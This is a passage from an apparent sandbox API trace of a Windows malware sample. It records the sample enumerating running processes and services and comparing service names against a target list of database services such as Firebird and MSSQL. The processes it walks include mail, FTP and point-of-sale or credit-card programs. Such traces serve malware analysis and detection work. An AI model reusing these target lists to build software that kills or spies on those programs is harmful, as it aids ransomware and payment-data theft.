(lpString="thunderbird.exe") returned 15 [0075.397] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0075.398] lstrlenW (lpString="totalcmd.exe") returned 12 [0075.398] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0075.399] lstrlenW (lpString="trillian.exe") returned 12 [0075.399] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0075.400] lstrlenW (lpString="webdrive.exe") returned 12 [0075.400] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0075.401] lstrlenW (lpString="whatsapp.exe") returned 12 [0075.401] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0075.401] lstrlenW (lpString="winscp.exe") returned 10 [0075.402] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0075.402] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0075.402] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0075.403] lstrlenW (lpString="active-charge.exe") returned 17 [0075.403] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0075.404] lstrlenW (lpString="accupos.exe") returned 11 [0075.404] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0075.405] lstrlenW (lpString="afr38.exe") returned 9 [0075.405] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0075.405] lstrlenW (lpString="aldelo.exe") returned 10 [0075.405] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0075.406] lstrlenW (lpString="ccv_server.exe") returned 14 [0075.406] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0075.407] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0075.407] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x508, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0075.408] lstrlenW (lpString="creditservice.exe") returned 17 [0075.408] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0075.514] lstrlenW (lpString="edcsvr.exe") returned 10 [0075.514] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0075.515] lstrlenW (lpString="fpos.exe") returned 8 [0075.515] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0075.516] lstrlenW (lpString="isspos.exe") returned 10 [0075.516] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0075.516] lstrlenW (lpString="mxslipstream.exe") returned 16 [0075.516] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1010, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0075.517] lstrlenW (lpString="omnipos.exe") returned 11 [0075.517] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1070, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0075.518] lstrlenW (lpString="spcwin.exe") returned 10 [0075.518] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1084, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0075.519] lstrlenW (lpString="spgagentservice.exe") returned 19 [0075.519] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0075.519] lstrlenW (lpString="utg2.exe") returned 8 [0075.519] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="hygiene_ppm.exe")) returned 1 [0075.520] lstrlenW (lpString="hygiene_ppm.exe") returned 15 [0075.520] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="glow be.exe")) returned 1 [0075.521] lstrlenW (lpString="glow be.exe") returned 11 [0075.521] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospects_pixel_academics.exe")) returned 1 [0075.522] lstrlenW (lpString="prospects_pixel_academics.exe") returned 29 [0075.522] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="contains roles was.exe")) returned 1 [0075.522] lstrlenW (lpString="contains roles was.exe") returned 22 [0075.522] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0075.523] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0075.523] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0075.524] lstrlenW (lpString="taskhostw.exe") returned 13 [0075.524] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0075.525] lstrlenW (lpString="taskhostw.exe") returned 13 [0075.525] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0075.525] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0075.525] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0075.526] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0075.526] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="sc.exe")) returned 1 [0075.527] lstrlenW (lpString="sc.exe") returned 6 [0075.527] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0075.527] lstrlenW (lpString="UsoClient.exe") returned 13 [0075.527] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0075.528] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0075.528] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x120c, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0075.528] lstrlenW (lpString="conhost.exe") returned 11 [0075.528] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1204, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0075.529] lstrlenW (lpString="conhost.exe") returned 11 [0075.529] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x11fc, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0075.530] lstrlenW (lpString="conhost.exe") returned 11 [0075.530] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x13a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0075.530] lstrlenW (lpString="svchost.exe") returned 11 [0075.530] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x118c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe")) returned 1 [0075.531] lstrlenW (lpString="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe") returned 58 [0075.531] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0075.531] lstrlenW (lpString="svchost.exe") returned 11 [0075.531] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x118c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0075.532] lstrlenW (lpString="cmd.exe") returned 7 [0075.532] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x510, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0075.533] lstrlenW (lpString="conhost.exe") returned 11 [0075.533] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x510, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0075.533] CloseHandle (hObject=0x330) returned 1 [0075.533] Sleep (dwMilliseconds=0x1f4) [0076.125] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4cef40 [0076.126] EnumServicesStatusExW (in: hSCManager=0x4cef40, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24dff3c, lpServicesReturned=0x24dff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24dff3c, lpServicesReturned=0x24dff54, lpResumeHandle=0x0) returned 0 [0076.126] GetLastError () returned 0xea [0076.126] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x1d5a) returned 0x4f1b60 [0076.126] EnumServicesStatusExW (in: hSCManager=0x4cef40, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4f1b60, cbBufSize=0x1d5a, pcbBytesNeeded=0x24dff3c, lpServicesReturned=0x24dff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4f1b60, pcbBytesNeeded=0x24dff3c, lpServicesReturned=0x24dff54, lpResumeHandle=0x0) returned 1 [0076.127] CloseServiceHandle (hSCObject=0x4cef40) returned 1 [0076.127] lstrlenW (lpString="Appinfo") returned 7 [0076.127] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0076.127] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0076.127] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0076.128] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0076.128] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0076.128] lstrlenW (lpString="AppXSvc") returned 7 [0076.128] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0076.128] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0076.128] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0076.128] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0076.128] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0076.128] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0076.128] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0076.128] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0076.128] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0076.128] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0076.128] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0076.128] lstrlenW (lpString="Audiosrv") returned 8 [0076.128] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0076.128] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0076.128] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0076.128] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0076.128] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0076.128] lstrlenW (lpString="BFE") returned 3 [0076.128] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0076.128] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0076.128] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0076.128] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0076.128] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0076.128] lstrlenW (lpString="BITS") returned 4 [0076.128] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0076.128] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0076.128] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0076.128] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0076.128] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0076.128] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0076.129] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0076.129] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0076.129] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0076.129] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0076.129] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0076.129] lstrlenW (lpString="CDPSvc") returned 6 [0076.129] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0076.129] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0076.129] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0076.129] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0076.129] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0076.129] lstrlenW (lpString="ClickToRunSvc") returned 13 [0076.129] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0076.129] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0076.129] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0076.129] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0076.129] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0076.129] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0076.129] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0076.129] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0076.129] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0076.129] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0076.129] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0076.129] lstrlenW (lpString="CryptSvc") returned 8 [0076.129] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0076.129] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0076.129] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0076.129] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0076.129] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0076.130] lstrlenW (lpString="DcomLaunch") returned 10 [0076.130] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0076.130] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0076.130] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0076.130] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0076.130] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0076.130] lstrlenW (lpString="DeviceAssociationService") returned 24 [0076.130] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0076.130] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0076.130] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0076.130] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0076.130] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0076.130] lstrlenW (lpString="Dhcp") returned 4 [0076.130] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0076.130] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0076.130] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0076.130] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0076.130] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0076.130] lstrlenW (lpString="Dnscache") returned 8 [0076.130] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0076.130] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0076.130] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0076.130] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0076.130] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0076.130] lstrlenW (lpString="DoSvc") returned 5 [0076.130] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0076.130] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0076.130] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0076.130] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0076.130] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0076.130] lstrlenW (lpString="DPS") returned 3 [0076.130] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0076.130] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0076.131] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0076.131] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0076.131] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0076.131] lstrlenW (lpString="DusmSvc") returned 7 [0076.131] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0076.131] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0076.131] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0076.131] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0076.131] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0076.131] lstrlenW (lpString="EventLog") returned 8 [0076.131] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0076.131] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0076.131] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0076.131] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0076.131] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0076.131] lstrlenW (lpString="EventSystem") returned 11 [0076.131] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0076.131] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0076.131] lstrcmpiW 